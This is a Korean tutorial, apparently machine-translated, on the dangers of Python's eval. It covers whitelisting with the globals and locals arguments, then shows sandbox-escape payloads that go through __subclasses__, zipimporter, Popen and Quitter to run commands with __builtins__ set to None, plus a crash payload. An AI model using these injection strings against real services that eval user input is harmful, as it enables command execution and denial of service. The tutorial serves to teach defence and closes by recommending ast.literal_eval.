이 글은 Python에서 eval의 사용법에 대한 자세한 설명과 잠재적인 위험에 대한 소개를 제공합니다. 도움이 필요한 친구들이 참고할 수 있기를 바랍니다.
eval preface
In [1]: eval("2+3") Out[1]: 5 In [2]: eval('[x for x in range(9)]') Out[2]: [0, 1, 2, 3, 4, 5, 6, 7, 8]
메모리의 내장 모듈에 os가 포함된 경우 eval은 다음 명령도 실행할 수 있습니다.
In [3]: import os In [4]: eval("os.system('whoami')") hy-201707271917\administrator Out[4]: 0
물론 eval입니다. 만 Python 표현식 유형 코드를 실행할 수 있습니다. 가져오기 작업에는 직접 사용할 수 없지만 exec는 사용할 수 있습니다. 가져오기에 eval을 사용해야 하는 경우 __import__를 사용하세요.
In [8]: eval("__import__('os').system('whoami')") hy-201707271917\administrator Out[8]: 0
실제 코드에서는 실행을 위해 클라이언트 데이터를 eval로 가져와야 하는 경우가 종종 있습니다. 예를 들어, 동적 모듈을 도입하면 온라인 크롤러 플랫폼에 여러 크롤러가 있을 수 있고 서로 다른 모듈에 위치할 수 있습니다. 서버 측은 클라이언트 측에서 사용자가 선택한 크롤러 유형만 호출하면 되는 경우가 많습니다. 백엔드에서 exec 또는 eval을 사용하면 동적 호출을 수행하고 백엔드 코딩을 구현하는 것이 매우 편리합니다. 그러나 사용자의 요청이 제대로 처리되지 않을 경우 심각한 보안 취약점이 발생할 수 있습니다.
안전하게 eval 사용
지금 가장 권장되는 방법은 eval의 마지막 두 매개변수를 사용하여 함수의 화이트리스트를 설정하는 것입니다.
Eval 함수 eval(expression[, globals[, locals]])
으로 선언됩니다. 두 번째와 세 번째 매개변수는 각각 eval에서 사용할 수 있는 함수를 지정합니다. 지정하지 않으면 기본값은 globals()이고 Modules입니다. locals() 함수에 포함된 함수
>>> import os >>> 'os' in globals() True >>> eval('os.system('whoami')') win-20140812chjadministrator 0 >>> eval('os.system('whoami')',{},{}) Traceback (most recent call last): File "", line 1, in File "", line 1, in NameError: name 'os' is not defined
abs 함수만 호출하도록 지정하는 경우 다음과 같이 작성할 수 있습니다.
>>> eval('abs(-20)',{'abs':abs},{'abs':abs}) 20 >>> eval('os.system('whoami')',{'abs':abs},{'abs':abs}) Traceback (most recent call last): File "", line 1, in File "", line 1, in NameError: name 'os' is not defined >>> eval('os.system('whoami')') win-20140812chjadministrator 0
사용 보호하는 방법은 확실히 일정한 역할을 할 수 있지만 이 처리 방법을 우회하여 다른 문제를 일으킬 수 있습니다.
실행 코드 1
Bypassed 시나리오는 다음과 같습니다! Xiao Ming은 eval이 특정 보안 위험을 가져온다는 것을 알고 있으므로 eval이 임의 코드를 실행하는 것을 방지하기 위해 다음 수단을 사용합니다. Python에서
env = {} env["locals"] = None env["globals"] = None env["__name__"] = None env["__file__"] = None env["__builtins__"] = None eval(users_str, env)
__builtins__은 내장 모듈로, 예를 들어, 친숙한 abs, open 및 기타 내장 함수는 이 모듈에 사전 형태로 저장됩니다.
>>> __builtins__.abs(-20) 20 >>> abs(-20) 20
우리는 또한 다음과 같은 두 가지 작성 방법을 사용할 수 있습니다. 내장 함수를 사용자 정의하고 Python의 내장 함수처럼 사용합니다.
>>> def hello(): ... print 'shabi' >>> __builtin__.__dict__['say_hello'] = hello >>> say_hello() shabi
Xiao Ming은 eval 함수 범위의 내장 모듈을 None으로 설정합니다. 이는 매우 철저해 보이지만 Bypass는 계속 사용할 수 있습니다. __builtins__는 __main__ 모듈에서 두 가지가 동일합니다.
>>> id(__builtins__) 3549136 >>> id(__builtin__) 3549136
Wuyun drop에서 언급한 방법에 따라 다음 코드를 사용하세요.
[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == "zipimporter"][0]("/home/liaoxinxi/eval_test/configobj-4.4.0-py2.5.egg").load_module("configobj").os.system("uname")
위 코드는 먼저 __class__ 및 __subclasses__를 사용하여 객체 객체를 동적으로 로드한 다음 객체 하위 클래스의 zipimporter를 사용하여 configobj 모듈을 압축합니다. 그리고 내장 모듈에서 os 모듈을 호출하여 명령을 실행합니다. 물론 전제 조건은 configobj의 egg 파일이 있다는 것입니다. configobj 모듈에는 실제로 내장 os 모듈이 있습니다. 🎜#
>>> "os" in configobj.__dict__ True >>> import urllib >>> "os" in urllib.__dict__ True >>> import urllib2 >>> "os" in urllib2.__dict__ True >>> configobj.os.system("whoami") win-20140812chjadministrator 0
from setuptools import setup, find_packages
그런 다음 실행:
python setup.py bdist_egg
을 실행하여 dist 폴더에서 해당 egg 파일을 찾습니다. 우회 데모는 다음과 같습니다:
>>> env = {} >>> env["locals"] = None >>> env["globals"] = None >>> env["__name__"] = None >>> env["__file__"] = None >>> env["__builtins__"] = None >>> users_str = "[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == 'zipimporter'][0]('E:/internships/configobj-5.0.5-py2.7.egg').load_module('configobj').os.system('whoami')" >>> eval(users_str, env) win-20140812chjadministrator 0 >>> eval(users_str, {}, {}) win-20140812chjadministrator 0
객체의 하위 클래스에는 흥미로운 것들이 많이 있습니다. 다음 코드를 확인하세요:
[x.__name__ for x in ().__class__.__bases__[0].__subclasses__()]
여기서 결과를 출력하지 않겠습니다. 실행하면 file, zipimporter, Quitter 등과 같은 흥미로운 모듈을 많이 볼 수 있습니다. 테스트 후 파일 생성자는 인터프리터 샌드박스에 의해 격리됩니다. 간단히 또는 객체에 의해 노출된 Quitter 하위 클래스를 직접 종료합니다:
>>> eval("[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == 'Quitter'][0](0)()", {'__builtins__':None})
C:/>
운이 좋고 상대방의 프로그램에 가져온 os와 같은 민감한 모듈을 만난다면 그런 다음 Popen을 사용하면 __builins__가 비어 있다는 제한을 우회할 수 있습니다. 예는 다음과 같습니다.>>> import subprocess >>> eval("[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == 'Popen'][0](['ping','-n','1','127.0.0.1'])",{'__builtins__':None}) >>> 正在 Ping 127.0.0.1 具有 32 字节的数据: 来自 127.0.0.1 的回复: 字节=32 时间>>
마찬가지로 __builtins__을 None으로 우회하여 서비스 거부 공격을 일으킬 수도 있습니다. Payload(from Foreigner blog)는 다음과 같습니다:
>>> eval('(lambda fc=(lambda n: [c 1="c" 2="in" 3="().__class__.__bases__[0" language="for"][/c].__subclasses__() if c.__name__ == n][0]):fc("function")(fc("code")(0,0,0,0,"KABOOM",(),(),(),"","",0,""),{})())()', {"__builtins__":None})
위 코드를 실행하면 Python이 직접 충돌하여 서비스 거부 공격이 발생합니다. 원칙은 중첩된 람다를 통해 코드 조각, 즉 코드 개체를 구성하는 것입니다. 이 코드 개체에 대해 빈 스택을 할당하고 해당 코드 문자열을 제공합니다. 여기 KABOOM이 있습니다. 빈 스택에서 코드가 실행되면 충돌이 발생합니다. 구성이 완료된 후 fc 함수를 호출하면 발동될 수 있습니다. 아이디어는 섹시하지 않습니다.
Summary위에서 볼 수 있듯이 단순히 내장 모듈을 비우도록 설정하는 것만으로는 충분하지 않습니다. 귀찮은 경우 unsafe eval 대신 ast.literal_eval을 사용할 수 있습니다.
더 많은 흥미로운 콘텐츠를 보려면 PHP 중국어 웹사이트의
위 내용은 Python에서 eval 사용법에 대한 자세한 설명 및 잠재적 위험 소개의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!